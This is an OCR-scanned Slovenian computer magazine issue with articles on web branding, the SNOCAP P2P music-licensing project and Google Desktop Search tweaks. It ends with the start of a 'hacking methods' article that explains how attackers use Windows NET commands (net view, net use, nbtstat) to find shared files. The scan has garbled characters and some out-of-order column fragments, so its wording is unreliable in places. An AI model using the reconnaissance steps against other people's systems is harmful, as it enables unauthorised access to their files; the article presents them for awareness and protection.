oblikovanju spletnih strani?

Pa se poigrajmo s tem zgledom upravljanja
trine znamke in ga prenesimo na podjetje ali
izdelek. Kaj se zgodi, ¢e svojo znamko razbi-
jemo in s svojih stavb, izdelkov, vozil, uniform
in drugih elementov odstranimo svoj logotip.
Ali ljudje e vedno lahko prepoznajo preostale
elemente kot del naSe trfne znamke? V velini
primerov temu ni tako.

Tr?na znamka so vse asociacije in Custva,
ki jih ljudje povezujejo z doloenim pod-
jetjiem, izdelkom ali osebo. Re¢emo lahko,
da znamka ni v lasti podjetja, pat pa lezi
v uporabnikih in njihovem subjektivnem
dojemanju sveta. Beseda znamka se pogo-
sto uporablja v kvalitativnem ocenjevanju
(Nike je dobra znamka), bistvo znamke pa
leZi v vsakem subjektivnem tolmadenju, v
posameznikovem razumevanju, ki ga dolo-
cajo:

- kulturni kontekst,

- posameznikova sre¢anja z znamko,

- nadin, kako posameznik dojema svet.

Bolj ko je podjetje ali izdelek v skladu s
uporabnikovimi potrebami in Zeljami, ver-
jetneje bo podjetje zgradilo in ohranilo po-
zitivno podobo v uporabnikovih glavah.
Pozitiven odnos do znamke se hitro prelevi
v razmisljanje o znamki, v nakup ali pripo-
rotilo prijatelju.

Kaj sploh ostane, ko z nase podobe odstrani-
mo logotip? Besedilo, grafi¢cna podoba, kombi-
nacija pisav, ton komunikacije, odnos prodajal-
cev ... VpraSajte se, koliko od teh elementov
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ciljnim javnostim resni¢no prinasa prepoznav-
no sporodilo in duso vase trine znamke?

Pojdimo $e dalje in Coca-Colin test izvedimo
na spletni strani. Predstavljajte si, da z vsake
spletne strani svojega spletnega mesta odstra-
nite logotip in omembo vaSega imena, nato pa
prosite obiskovalca, naj spletno mesto uporab-
lja. Ali bo $e ostal prepoznaven »vonj« po vasi
znamki? Elementi spletnega mesta, ki je ustvar-
jeno v duhu povezanega komuniciranja, bi mo-
rali vsak zase, pa Ceprav v izolaciji, oznacevati
vaSo znamko. Le tako lahko skupaj zasijejo.

Vizualna podoba z logotipom ustvari prvi vtis
in je zelo pomemben oznacevalni elementa, a
pogosto se dizajnu pripisuje ¢udeine lastnosti.
Kakovostno oblikovanje je pomembno, a je, $e
posebej v spletu, le del uporabnikove izkusnje.
Vtis o tr#ni znamki na spletu ne ustvari le ob-
likovanje, pa¢ pa $e marsikaj drugega.

Uporabnik ne sedi in ob¢uduje vasega logo-
tipa ali spletnega mesta, pa¢ pa ga uporablja!
Vage strani obis¢e, da bi pridobil informacijo
ali opravil dologeno storitev. Prebere ali pre-
leti besedilo, pogleda fotografije, izpolni obraz-
ce, zastavlja vprasanja in preskusi zanimivejse
interaktivne elemente spletnega mesta ... In
prav vsaka od teh
dejavnosti bi mora-

storitve neposredno po-
vezujejo z obéutkom &aka-
nja v dolgih vrstah v pravi
banki. Povedano drugace:
uporabniki spletne storit-
ve te nimajo za nekaj loce-
nega od podjetja, pac pa jo
dozivljajo kot neposreden
odraz &loveskega odnosa
in odzivnosti.

Po uporabniske teZave
pa ni treba iti v Avstralijo,
kar lepe zglede najdemo
tudi v Sloveniji. Zaradi za-
Casnega nedelovanja splet-
ne poslovalnice NLB so
mnogi to banko zapustili.
Sli so v banko in se mnogi
prav grobo znesli nad ni¢
krivimi ban¢nimi usluzbenci ter zahtevali svoj
denar. Lep dokaz, da potrosnika razmisljajo-
(mo) celostno!

Zapomljivost in pozitivna potrosnikova izkus-
nja se gradita iz posameznih elementov, tudi iz
vsakega elektronskega sporoéila, ki ga posljete.
Tudi vsako sporotilo, ki ga posljete z zamudo ali
pa ga ne posljete, govori o vasi odzivnosti. Vasa
hitrost odgovora, izbira besed, ton in zgradba
besedila: ker vse to sporoca, vzemite svoje e-ko-
municiranje prav tako resno kot produkcijo bro-
Sure ali oglasa. Zavedajte se, da vam lahko slabo
besedilo e-sporotilu na nekaj tiso¢ elektronskih
naslovov bolj $kodi kot va$ najslabsi oglas.

Internet je pri mnogih podjetjih Se vedno
poglavije zase. Vecina, niti vecjih, slovenskih
podjetij v smislu trfnega komuniciranja ne
razmi§lja dovolj dolgoro¢no. Ker ni pravih
strategij in ni ljudi, ki bi morebitne strategije
izvajale, se komuniciranje prepusti naklju¢nim
ponudbam in idejam, ki jih prinese »ugoden
veter«. Internet, kot najnovej$i del trZno-
komunikacijskega spleta je pogosto v rokah
informatikov, ki odli¢no razumejo delovanje
sistemov in ustvarjajo delujoco kodo, zatakne
pa se pri razumevanju uporabnikov in njihovih
potreb.

la komunicirati in
sporocati bistvo vase
trzne znambke.
Zatorej vsak ele-
ment in vsaka izkus-
nja na spletnih stra-
neh Steje! Za zgled
vzemimo ¢akalni &as.
Pred ¢asom izvedena
raziskava neke Av-
stralske banke je po-
kazala, da uporabniki
pocasnost  spletne

Izkusnja je vse, kar lahko zaznamo. Je interakcija med ¢lovekom in
njegovim okoljem. Pri izkunji je podobno, kot pri tr¥ni znamki zani-
mivo to, da se pravzaprav zgodi v ljudeh. Razumevanje tega, kako in
zakaj se ljudje odzovejo na dolocene izkusnje, je bistvo u¢inkovitega
spletnega pristopa. Vsako oblikovanje spletnih mest bi se zato moralo
ukvarjati z razumevanjem ljudi. In pri raziskovanju izkugenj ne gre za
nekaj novega, pa¢ pa za znanost z dolgo brado. Dejstvo je, da ljudje
ostajajo razmeroma enaki ne glede na medij, in da se lahko u¢imo iz
stoletij raziskovanja psihologije in dru¥boslovja. Ko gre posameznik
na sejem, ko pogleda oglas ali pa ko i§¢e informacije v spletu — &eprav
se mediji spreminjajo, ostajajo klju¢ni nadini ocenjevanja in odziva-
nja na izkusnje enaki.
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Po drugi strani pa tudi upostevanje uporab-
nikov ne sme iti predale¢. Zadnja leta smo v
svetovnem spletu pri¢a mnof¥ici zelo uporab-
nih spletnih mest, ki pa so si med saboj sila
podobna. Cas je pokazal, da prestrogo upos-
tevanje »zlatih« pravil spletne uporabnosti
vodi v dolgocasen splet, kjer je mogode najti
obilo informacij, to je pa tudi vse. Pogosto se
je zanemarilo, da se ljudje v obi¢ajnem svetu
in tudi na spletu radi zabavajo in nimajo ni¢
proti oblasnim presenecenjem. Osnovni za-
koni uporabnosti niso stroge omejitve, pa pa
podlaga za kreativno izraZanje na nacin, ki ga
razume uporabnik!

Z vidika trfnega komuniciranja je neprepo-
znavnost spletnega mesta slaba stvar. Vsako
spletno mesto bi moralo ponuditi nekaj po-
sebnega. Lahko gre za posebno vizualno podo-
bo spletnega mesta, za poseben slog pisanja in

Ponudba ki
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Ta pristop temelji na usklajenem in sistemati¢nem strateskem ustvarjanju in razsirjanju mar-
ketingkih sporoéil in gradiva. Ce vzpostavimo usklajeno komunikacijo na vseh tockah, kjer se
potro$nik srea s tr¥no znamko, lahko dosefemo izjemne uginke. Ce na dolgi rok sporo¢amo
usklajeno, se stroski za trzno komuniciranje obnagajo ugodneje, kot ¢e komuniciramo razbito
in neusklajeno. Pri povezanem komuniciranju vsako sporocilo uporablja del mo¢i prejsnjega
sporodila, hkrati pa pomaga delovati naslednjim. Tako na dolgi rok v potro$nikovih glavah
nadzorovano ustvarjamo zgodbo o nasi trzni znamki.

poimenovanja ali pa za funkcionalnost, ki je
ni nikjer drugje. Idealno je, ¢e se zdrava mera
posebnosti preplete z vsakim od nastetih ele-
mentov!

Podpora in gradnja trne znamke na vasem
spletnem mestu sta torej veliko ved kot lepo
oblikovana stran in objava logotipa. Ker prek
spleta zaenkrat $e ne moremo prenagati vonja,
okusa in dotika, moramo obcutke nase trine
znamke v spletu znati prevesti. Prevedemo jih
v vidne in slusne vtise in ustvarimo kar naj-
boljso virtualno izku$njo nasega izdelka ali
obljube. Vsak element spletne strani — barva,
besedila, pisava, fotografije, zvoki, predvsem
pa obcutek kakovostnega delovanja ... vse to
pusti vtisi in oblikuje ob&utke o vasi zaneslji-
vosti, kakovosti in ceni.

JE NE smete zamudi
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upravljanje trzne znamke v spletu

Zato vsekakor izvedite Coca-Colin test.
Razbijte svojo spletno stran in analizirajte, kar
sporoca vsak njen delec. Pa ne zanesite se le na
svoj ob&utek. Preverite pri uporabnikih.

Ostareli mo?, o¢e treh sinov, je umiral. Preden
je Se zadnji& zaprl oci, je poklical svojega prvoro-
jenca. »Sin, « je zamrmral, »poi$¢i leskovo palico
in jo zlomi!« Sin je ubogljivo pokimal, poiskal
palico, jo ukrivil in z lahkoto zlomil. Stari mo?
je poklical Se drugega sina in ga prosil, naj zlo-
mi dve palici hkrati. Ceprav s teZavo, je sinu to
uspelo. Nazadnje je umirajoci oce k sebi poklical
$e najmlajSega sina in mu narocil naj zlomi celo
butaro palic. Sin se je trudil in trudil, a palic ni-
kakor ni mogel ne ukrivit, ne zlomiti.

Oke se je zaztl v sinove in jih poudil: »Po-
glejte! Kot leskova palica, ste tudi vi §ibki, ka-
dar ste sami. Ko pa se poveZete in zdruZite svoje
modi, ste nepremagljivi. Ni¢ in nih¢e vas ne
more zlomiti.«

To zgodbo povezanega nastopa lahko eno-
stavno prenesemo na upravljanje trznih
znamk. Tr#na znamka ni le oblika z logotipom!
V potrosnikovi glavi so prve tiste znamke, ki
se za njegovo mozgansko dejavnost bojujejo na
ved med seboj povezanih in prepletenih »fron-
tah«. H
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SNOCAP

Pred nedavnim je Shawn Fanning, sicer avtor razvpitega programa Napster, ki je pred leti sproZil plaz izmenjave datotek
prek interneta, predstavil svoj novi projekt SNOCAP. Gre za sistem, ki bi naj omogocil zakonito licenciranje avtorsko
zaSCitenih glasbenih posnetkov v omreZjih P2P. K sodelovanju je ze privabil multinacionalko Universal Music Group,
vendar to Se ne pomeni zmage. Mu bo uspelo?

Pise: Vasja Ocvirk
vasja.ocvirk@mojmikro.si

me Shawn Fanning najbr? danes ne pomeni
prav ni¢ generaciji mladih uporabnikov in-
terneta, ki $e svoj Zivi dan niso kupili ene-
ga samega glasbenega posnetka, a imajo v
svojih ra¢unalnikih cele glasbene kataloge. Pa
vendar se utegne to spremeniti, seveda pod po-
gojem, da bo Fanningu uspel projekt Snocap,
po katerem bi naj servisi P2P v svojo program-
sko opremo vkljudili ponudbo velikih zalozb,
hkrati pa omogocili nadzor in zaralunavanje
prenosa avtorsko zas¢itenih datotek.

Sistem naj bi deloval po nacelu prepoznava-
nja »avdio prstnih odtisov« skladb. Posebna
programska oprema bi preudila zvoéne zna-
&ilnosti vsake datoteke, predvidene za prenos,
in ta avdio prstni odtis primerjala s tistimi v
svoji zbirki podatkov. Pri pozitivni identifika-
ciji bi sistem opremil skladbo s ceno, prenos

SNOCAP

pa bi dovolil ele, ko bi bilo izvedeno plaéilo.
Skladbe, ki ne bi ustrezale nobenemu zapisu v
Snocapovi zbirki, bi sistem seveda spustil skozi
svoje sito. SNOCAP bi tako nastopil kot po-
srednik med glasbenimi zalozbami in servisi za
izmenjavo datotek in bi urejal legalnost celo-
tnega sistema. Vpeljava v obstojece sisteme
P2P bi naj bila razmeroma enostavna, obstaja
pa ve¢ modelov, po katerih bi bilo mo¢ ure-
diti zara¢unavanje avtorsko zas¢itenih skladb.
Tako bi lahko uvedli zara¢unavanje po $tevilu
prenesenih skladb, za podjetnejse pa bi pripra-
vili naro¢niske modele.

Zadeva ni tako unikatna, kot se zdi na prvi
pogled. To idejo smo %e sligali iz razli¢nih virov,
svojo zgodbo v zvezi s tem pa ima tudi Napster.
Pred leti je namre& glasbena industrija spravila
Napster na kolena in sodis¢e je ukazalo Fan-
ningu in njegovim sodelavcem, da morajo bo-
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disi prenehati vzdrfevati Naspterjeve streznike
bodisi namestiti ustrezno filtrirno opremo, ki
bo preprecevala distribucijo avtorsko zaicite-
nih skladb. Napsterju in njegovemu partnerju
Relatable, s katerim so razvijali ta projekt, ni
nikoli popolnoma uspelo, vprasanje pa je, ali
niso sredi dela ugotovili, da se razvoj esa taks-
nega enostavno ne izplaca. Tako je Fanning
raje prodal podjetje — pravzaprav bolj ime,
kot kaj drugega — danasnji Napster pa z izvir-
nim nima skorajda nobene sti¢ne tocke, saj
gre zgolj za obicajen servis za prodajo spletne
glasbe. Ustvarjalna Zilica pa mu najbr? ni dala
miru in v preteklih letih se je najbrz ukvarjal
z mislijo, ki je vredna milijarde dolarjev, na-
mred&, kako pripeljati Zvenket denarja v omre?-
ja P2P. Regitev je bila kot na dlani, saj je sistem
avdio prstnih odtisov natanko to, s ¢emer so
se ukvarjali v zadnji Napsterjevi fazi, le da so
ga tukaj Se nadgradili.

Tudi tokrat mu je, tako kot pri Napsterju,
s finan¢no podporo priskocil na pomo¢ Ron
Conway, ki je prav tako direktor novega pod-
jetja. Sicer majhno podjetje, ki $teje manj kot
deset zaposlenih, je nato v tajnosti zacelo izde-
lovati programsko kodo na eni strani in iskati
zavezni§tva v glasbeni industriji na drugi strani.
Zanimivo je, da je Fanning, kot neko& najvedji
sovraznik glasbene industrije, svoj mraéni slo-
ves zelo dobro unovéil, saj naj bi mu bila vrata
multinacionalk $iroko odprta prav zaradi nje-
govega oletovstva Napsterju. Gotovo je bilo
naravnost absurdno na pogled, ko je lahko v
rekordnem &asu priSel v stik z nedosegljivimi
korporacijskimi menedZerji, z istimi ljudmi, s
katerimi se je $e pred nedavnim vlacil po so-
dis¢u. Koné¢no gre tukaj samo za denar, kajne,
Fanningova ideja pa je najbr? priZgala iskrico v
o¢eh marsikaterega direktorja glasbene multi-
nacionalke, saj so servisi za izmenjavo datotek
preko interneta trn v peti in gre$ni kozel Ze od

nastanka. In nato se poja-
vi isti Clovek, ki je sprozil
»zalofnisko tragedijo« ter
izjavil, da ima v rokah re-
Sitev. Genialno, ni kaj.

Kljub zaletnemu nav-
dusenju pa Fanning 3e ne
more odpreti steklenice s
Sampanjcem in prizgati ci-
gare. Eden izmed vodilnih
zaloznikov, ki je s Snoca-
pom podrobno seznanjen in — presentljivo za
predstavnika nacionalke — dobro pozna razme-
re in ozradje v internetni skupnosti, je izjavil,
da gre sicer za dobro premisljeno idejo, ki pa Zal
ni odvisna od ideje same, temve¢ tudi od vseh
vpletenih v procesu sprejemanja in uvajanja
tega sistema. Na eni strani bo namre& Snocap
potreboval podporo ¢im vedjega Stevila zalozb,
v zadetni fazi pa predvsem multinacionalk. To
mu je 7e deloma uspelo s sklenitvijo zavezni-
$tva z UMG-jem, zato pa je bolj problemati¢na
druga stran, namre¢ omrezja P2P. Ta bi na-
mre¢ morala podpreti to idejo in se pridruZiti
sistemu. Tako bi, meni Fanning, ohranila ne-
odvisno distribucijo avtorsko nezaititenega
materiala in hkrati dosegla, da bi njih glasbena
industrija prenehala napadati, saj bi dobila
svoj dele?. S tem bi se vzpostavilo ravnoteZje
med legalnim in svobodnim prenosom datotek
prek interneta.

Vendar pa ta del enacbe ni tako enostaven,
kot se zdi na prvi pogled. Snocap je zgolj eden
izmed poskusov, da bi se servisi P2P spravili z
glasbeno industrijo. Angleski servis Wippit je
e pred ¢asom ponudil nekaj podobnega, a s
precej omejenim katalogom. Altnet, ki bi ga
najla¥e definirali s tesno povezavo s Sharman
Networks, ki stoji za servisom P2P Kazaa, se
e vel kot leto trudi sesti za pogajalsko mizo z
glasbeno industrijo, a mu to ni uspelo. Poleg
Altneta je podobno poskusilo Ze precej servi-
sov P2P. Vsi se namre& zavedajo, da bo tisti, ki
mu bo uspelo premakniti zarjavelo kolesje ka-
tere od multinacionalk, pobral smetano. Kako
naj zdaj Fanningu uspe prepricati svoje tako
reko¢ konkurente, da naj mu zaupajo dele? po-
sla in seveda dobicka?

Kljub vsemu ima Snocap svojega aduta v
rokavu, torej pogodbo z UMG-jem, ki pa mu,
kot %e re€eno, ne pomeni ni¢, ¢e se mu ne bo
pridruZila ve¢ina omreZij P2P. In seveda 3e vse
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druge zalozbe. In avtorji, ki sami skrbijo za svo-
je avtorske pravice. Uh, veliko dela.

Se vegji problem je urejanje avtorskih pravic
na globalni ravni. Prav lahko se namre¢ zgodi,
da avtorske pravice istega izvajalca za Evropo
recimo ureja EMI, za ZDA UMG in za Azijo
Sony BMG. Geografsko lociranje uporabnikov
po IP-stevilkah lahko tukaj gotovo pomaga,
vendar ne more predstavljati osnove za legal-
no urejanje odnosa med kupcem in lastnikom
avtorske pravice.

Po drugi strani so nekateri servisi P2P pre-
prosto prenehali biti bitko z glasbenimi mul-
tinacionalkami. Pri LimeWireu so %e pred
Casom razmiSljali o podobni ideji, a so se od-
lo¢ili, da ne bodo centralizirali servisa in tudi
ne vdelovali kakr$nihkoli filtrov. Tu je tudi
mo?na razpoka, ki utegne razbiti Fanningovo
idejo. Denimo, da se mu pridruZijo vsi trenut-
no upoitevanja vredni servisi P2P. Skorajda
staviti bi si upali, da bodo dan zatem vznikili
novi, ki ne bodo vklju€eni v Snocapov sistem,
datoteke pa bodo distribuirali, ne oziraje se na
zad¢ito avtorskih pravic. To najbr? ne bi po-
menilo Snocapovega padca, bi mu pa vsekakor
otezilo razvoj.

Tu je 3e vpraSanje urejanja digitalnih pravic,
ali DRM (Digital Rights Management). Mno-
ge zalo?be ne pristajajo na odprti format MP3,
pri katerem si lahko kupci posnetkov v neome-
jenih koli¢inah kopirajo te posnetke, jih pre-
snemavajo na zgo$tenke in podobno.

Vsekakor Fanning ne obupuje. Priloznost
po njegovem leZi v tem, da tudi trenutno zelo
uspesni servisi za prodajo spletne glasbe operi-
rajo zgolj z omejenim katalogom glasbe. In ti-
stega, Cesar ne more§ najti v katalogu, tudi ne
more§ prodati. Po drugi strani je na voljo veli-
ko servisov, ki pa ne spostujejo avtorskih pra-
vic. Tako prihaja do velike delitve med enim
in drugim polom, uporabniki pa se znajdejo na
sredini. Snocap bi po njegovem razsiril kata-
log na celoten internet ter zdruZil oba pola
tako, da bi bili zadovoljni vsi vpleteni.

Slisi se kot pravljica in najbr? v tak§nem kon-
tekstu, kot jo predstavlja Snocapov $ef, tudi je.
Sistem $e ni dokon&an, kar je ob predstavitvi
priznal tudi Fanning, napovedal pa je, da bo v
naslednjem letu deloval v popolni funkcional-
nosti. Zdi se, da je z medijskim pompom bolj
hotel privabiti k sodelovanju zalozbe in omreZ-
ja P2P kot kaj drugega. Vsekakor mu je v svoji
nameri uspelo in zdi se, da je bliZje uspehu kot
vsi pred njim. Kot je dejal sam, je tehnologija
pri roki, obstajajo tudi metode, kako resiti pat
pozicijo med glasbeno industrijo in servisi P2P,
le da ga nih¢e do zdaj $e ni storil. Mi dodaja-
mo, da so mnogi poskusili, a jim ni uspelo. Bo
Fanning uspesne;jsi?

Googlov namizni iskalnik

V prejsnji Stevilki smo vam predstavili Googlov Desktop Search, orodje za iskanje po
dokumentih v namiznem raCunalniku. Tokrat si oglejmo, kako iz njega »iztisnemo« ¢im vec.

PiSe: Jaka Mele
jaka.mele@mojmikro.si
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oogle tako prina$a na na-

mizje funkcijo, ki smo

jo vsaj ¢lani urednistva

Mojega mikra pogresali
in potrebovali e precej ¢asa, saj
iskalnik v  Windows ni vreden
kaj prida ...

Google Desktop Search (GDS)
je v Casu tega pisanja (sredi de-
cembra) Se vedno v beta razlici-
ci, in stavite lahko, da Google %e
pridno razvija novo, ki bo pred-
vidoma podpirala e ve& zapisov
in datotek in verjetno omogocala
e dodatne funkcije. Kam to¢no et
Google usmerja GDS in kaksne
so povratne informacije in Zelje
uporabnikov, lahko preberemo
na naslovu: http://groups-beta.
google.com/group/google-Desk-
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top-Search.

Ker se nam zdi GDS ena izmed uporabne;jsih
aplikacij v naSem rac¢unalniku, hkrati pa smo
odkrili nekaj pomanjkljivosti, smo poiskali na-
¢ine, kako funkcionalnost programa razsiriti
oziroma ga prilagoditi nasim Zeljam.

GDS indeksira podatke in datoteke iz pro-
gramov Outlook, Outlook Express, MS Word,
AOL Instant Messenger, Excel, Internet Ex-
plorer, PowerPoint ter besedilne in HTML-
datoteke. Tako kot mnogi tudi sam uporab-
ljam brskalnik Firefox in pogresam iskanje po
shranjeni vsebini in povezavah (priljubljene).
Prav tako GDS ta hip ne zna indeksirati pos-
te iz programa ThunderBird ali Lotus Notes.
GDS je bil zasnovan za uporabo v enem sa-

rences) izklopite indeksiranje zgodovine var-
nih spletnih strani (HTTPS), s &imer zagoto-
vite, da va$i ban¢ni podatke ne bodo prisli v
GDS-jevo zbirko. Prav tako dodajte v seznam
strani, ki naj jih GDS ne indeksira (sites NOT
to index) naslednja zapisa: http://127.0.0.1/ in
http://127.0.0.1:4664/. S tem bomo prepre-
¢ili indeksiranje rezultatov. Sem vpisite tudi
mape, ki vsebujejo zasebne informacije in jih
morebiti ne Zelite deliti z drugimi uporabniki
istega racunalnika (recimo: C:\Moji Doku-
menti). Ce ne ¥elite videti lokalnih rezultatov
med iskanjem po spletnih straneh z Googlom,
izklopite nastavitev Show Desktop Search re-
sults on Google Web Search result pages.
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Tudi &e imate Wordovo datoteko zas¢iteno
z geslom, jo bo GDS (uspe$no) indeksiral.
Funkcije se ne da izklopiti, saj je GDS na-
menjen zasebni uporabi. Ce vseeno Zelite
preprecditi tako indeksacijo, vpiSite mape z
zasebnimi datotekami v seznam map, ki naj
jih GDS ne indeksira (na zacetku).

V radunalnikih, kjer je na prvem disku (C:)
omejeno prostora, bi morda veljalo premakniti
Googlovo indeksno datoteko, ki utegne zrasti
v kar precej$njo. Za reSitev je treba popraviti
register in premakniti nekaj skritih datotek.
Predlagamo, da pois€ete pomoc izkusene osebe,
e tega Se niste poceli, sicer pa se zavedajte, da
spreminjate stvari na lastno odgovornost in da
si lahko povzrog&ite $kodo. Privzeto so indeksni
podatki shranjeni v mapi: C:\Documents and
Settings \USERNAME\ Local Settings\ Applica-
tion Data\ Google \Google Desktop Search. Obi-
¢ajno te datoteke zasedejo — odvisno od koli-
¢ine vasih datotek — od 100 MB naprej (tudi
500 na velikih sistemih z diskovjem 200 GB
in ved). Ce ¥elite mapo premakniti (recimo na
disk D:), najprej izklopite GDS (levi klik na
barvno okrogle ikono v spodnjem desnem delu
zaslona in Exit). Nato premaknite Ye omenje-
no mapo v, recimo, D:\Google Desktop Search,
popravite Se register (Start/ZaZeni/regedit) in
poistite klju¢ HKEY _CURRENT_USER\
Software\Google\ Google Desktop ter vrednost
kljuta data_dir spremenite v D:\Google Desk-
top Search.

GDS bo sicer indeksiral datoteke, ki jih od-
prete z omre¥nega diska (ker jih ob tem skopi-
rate na lasten disk), drugih pa ne. Ce Zelimo
indeksirati tudi omre?na diska, priklopljena kot
M: in X:, storimo naslednje. Odpremo Belez-
nico, vpiSemo !C:<TAB>!M:<TAB>!X:<TA-
B>, kjer pri TAB pritisnete tabulatorsko tipko.
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Dobljeno vrstico skopirate in odprete regedit.
Poiscete klju¢ HKEY_CURRENT_USER\
Software\Google\Google  Desktop\ Historical-
Capture\Crawler ter v polje CRAWL_DIRS
prilepite prej skopirano vsebino iz Belefnice
— na mestih, kjer smo pritisnili tabulatorko, bi
morali biti majhni $tirikotniki. Kliknite OK,
in nato odprite polje CRAWL_FILE. ZbriSite
vsebino tega polja (&e je indeksiranje e bilo
kon&ano, tu verjetno pise DONE) — s tem po-
novno za¥enete indeksiranje. Kliknite OK, za-

Googlova napoved, da bo z orodjem Desk-
top Search ponudil u¢inkovito in hitro
iskanje po namizju, je sprozila vrsto od-
govorov. Med drugimi je takoj reagiral
Microsoft in oznanil, da bo svojo razli¢ico
iskanja po namizju ponudil v prvih me-
secih leta 2005, krizem rok pa ni stal niti
Googlov najve&ji tekmec Yahoo. Yahoo
Desktop Search, kot se bo imenovala za-
deva, je Ze v kon&ni fazi razvoja, program
pa bo temeljil na iskalniku X1, podjetja X!
technologijes, ki so ga kupili v drugi pol-
ovici 2004.

Kak$na bo videti konéna razli¢ica Yahoo-
jevega namiznega iskalnika, $e ni znano,
lahko pa si z internetnega naslova www.
xI.com/download/ prenesete 14-dnevno
brezplatno preizkusno razli¢ico iskalni-
ka X1. Ta za iskanje po vsebini uporablja
samostojno orodje, ki je sicer vie¢no in
ta hip ponuja $e precej ve¢ mo¥nosti kot
GDS, a je hkrati malce pocasnejse.

Verjetno ste opazili, da iskanje po delu da-
toteke ne deluje, temved je venomer aktivno
iskanje po vsebini. Ce Zelimo poiskati datote-
ko, recimo »sestanek z dne 20.11.2004.doc«, v
iskalnik vpisemo: »sestanek filetype:doc«.

prite register in ponovno zaZenite GDS. |

Dodatek za GDS z imenom GDSplus je razvil Larry Gadea, omogoca pa razsirjen nabor da-
totek, iz katerih GDS dobi informacije ki jih vkljugi v iskanje. Dodani so zapisi z naslednjimi
kon¢nicami: xml, log (mIRC in Trillian), cs, vb (Visual Studio .NET datoteke izvorne kode),
frm, bas, cls (Visual Basic 6 datoteke izvorne kode) in druge datoteke, ki se indeksirajo kot
besedilo (za zapis pdf to $e ne deluje). Program in navodila so na voljo na naslovu: http://www.
trivex.net/.

Za uporabnike brskalnika Firefox bo koristen dodatek Slogger. Program in navodila najdete
na naslovu http://www.kenschutte.com/firefoxext/index.html. Ta bo poskrbel, da bo GDS pri-
Sel tudi do podatkov iz tega brskalnika, resitev pa je le zacasna, saj je Google Ze napovedal, da
bo podporo za FireFox in ThunderBird dodal v naslednji beta razli¢ici.

Za vse, ki imajo doma ve& racunalnikov, ali pa gre za malo pisarno, kjer bi Zeleli namesto
sprehoda v drugo sobo poiskati datoteke prek omre%ja, obstaja reSitev. Ta seveda posega v
zasebnost in le lokalno dosegljivost podatkov, vendar v nadzorovanem okolju to verjetno ni
te¥ava. Se pa zavedajte, da bo tako va3 sin priel do e-poste, ki vam jo piSe Zena — a po drugi
strani boste tudi vi prisli do zapisov njegovih klepetalnih dogodivi¢in ... Vse, kar je treba
narediti, je namestiti program DNKA, ki ga skupaj s preprostimi navodili najdete na naslovu

http://dnka.com/.

GDS ta hip $e ne omogoc¢a naprednega iskanja, kjer bi rezultate filtrirali glede na parametre,
lahko pa to doseZemo s programom gdSuite. GDS $e vedno indeksira podatke, gdSuite pa je
samo vmesnik do zbirke podatkov in z njim lahko rezultate iskanja omejite na tiste, nastale v
dolo¢enem terminskem obdobju, oz. poveste, kje je lahko datoteka, kaksen je naslov spletne
strani, na katero so podatki vezani ipd. Program je, tako kot vsi omenjeni, brezplagen, na voljo
pa je na naslovu: www.airbearsoftware.com/gdsuite/home.
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hekerske metode (3. del)
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Stevilna izmed najuporabnejsih orodij za nadzor omreij, ki jih boste kdaj srecali; S0
ponavadi Ze vklju¢ena v na$ operacijski sistem ali pa so odprtokodna in‘brezplaéna.
Poglejmo, kako jih s pridom uporabljajo hekerji. Seveda le z namenom, da vse te
nevarnosti spoznamo in se pred njimi ustrezno zascitimo!

PiSe: Tomaz Bratusa
lomaz.hralusa@mujmikru.si

ovpre¢ni uporabnik ob omembi sistema

Windows in omrenih povezav takoj po-

misli na OmreZno soses¢ino (Network Ne-

ighborhood), ki se je nedavno v Windows
2000, Me in XP preselila v Moja omreZna mesta
(My Network places). Kadar se tako premikate po
omreZju in dostopate do datotek, uporabljate pro-
tokol SMB (Server Message Block). Vecina ljudi,
ki uporablja datoteke v skupni rabi v svojih racu-
nalnikih, verjame, da lahko le ra¢unalniki v nji-
hovem krajevnem omre?ju (Local Area Network
— LAN) pristopajo do njihovih datotek. Vendar je
to res samo, kadar je vas ra¢unalnik za¢iten s stan-
dardom NAT (Network Address Translation) ali
pozarnim zidom (firewall). V vseh drugih primerih
lahko vage datoteke v skupni rabi najde in do njih
tudi dostopa kdorkoli na tem svetu. In s tem resnié-
no mislim kdorkoli.

Omre?na sosei¢ina in Moja omre?na mesta
nista edini mesti, prek katerih lahko s svojega si-
stema Windows dostopate do omre?nih sredstev
v skupni rabi. Med drugim imate na voljo tudi
storitev Iskanje ra¢unalnikov (Find Computer),
ki jo najdete v Mojih omre?nih mestih in je upo-
rabna za iskanje delov omreZij v skupni rabi tudi
na podlagi [P-naslovov. S tem orodjem lahko
poiséete dele omre?ja v skupni rabi na podlagi
vnesenega IP-naslova ne glede na to, ali je iskani
racunalnik v vasi pisarni ali na drugi strani sveta.
Ob tej priloznosti naj omenim dejstvo, da Iskanje
racunalnikov tako kot vetina drugih programov
z grafi¢nim uporabniskim vmesnikom (GUI) te-
melji na programu na ravni ukazne vrstice, ki ga
poganja. Ta gonilni program se imenuje NET in
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zdaj je trenutek, da se nau¢imo, kako ga u¢inko-
vito uporabiti.

Kakor vsi drugi programi, ki uporabljajo ukaz-
no vrstico, ima tudi NET kopico mo#nih ukazov,
ki se med razli¢icami sistemov Windows razliku-
jejo. Najlaze boste prisli do informacij o upora-
bi posameznega ukaza tako, da boste za ukazom
vnesli stikalo /?. Izpis vseh mo?nih ukazov pa
boste pridobili z ukazom net help.V tem &lanku
bom podrobneje opisal samo ukaza, ki sta za nas
posebej zanimiva, in to sta net view in net use.

Najprej pa omenimo nekaj drugih, manj upo-
rabnih ukazov:
net accounts (postavlja politiko ra¢unov
in gesel)
net computer (dodaja ratunalnike v
domeno in jih briSe iz nje)
net config (prikazuje trenutne
informacije o stre?niku in delovni skupini ...)
net diag (prikazuje diagnostni¢ne
informacije o strojnih omre#nih povezavah)
net file (prikazuje imena vseh trenutno
odprtih datotek ...)
net help (prikazuje informacije o dostopnih
ukazih)
net logoff (prekinja povezavo z datotekami
v skupni rabi...)
net password (zamenja geslo za prijavo
uporabnika)
net send (poslje sporo¢ilo drugemu
uporabniku ali ra¢unalniku v omreZju)
net share (ustvarja, brise in prikazuje
datoteke v skupni rabi)
net stop (zaustavlja storitev)
net use (nas poveze v sistem v skupni rabi
in prikazuje informacije ...)
net view (prikaZe seznam sredstev v skupni
rabi za posamezen ratunalnik ...)

\

\

v

\

\

v

\

\

v

\

\

\

\

Kot vidite, je NET zelo uporabno orodje, pri

tem pa sta s hekerske strani Se zlasti zanimiva
ukaza net view in net use.

Net view omogoca pridobivanje osnovnih bi-
tov informacij, pri ¢emer ga pogosto kombinira-
mo z drugim sistemskim orodjem, imenovanim
nbtstat (nbtstat nam pridobi imena domen in de-
lovnih skupin, ki jih nato uporabimo v net view),
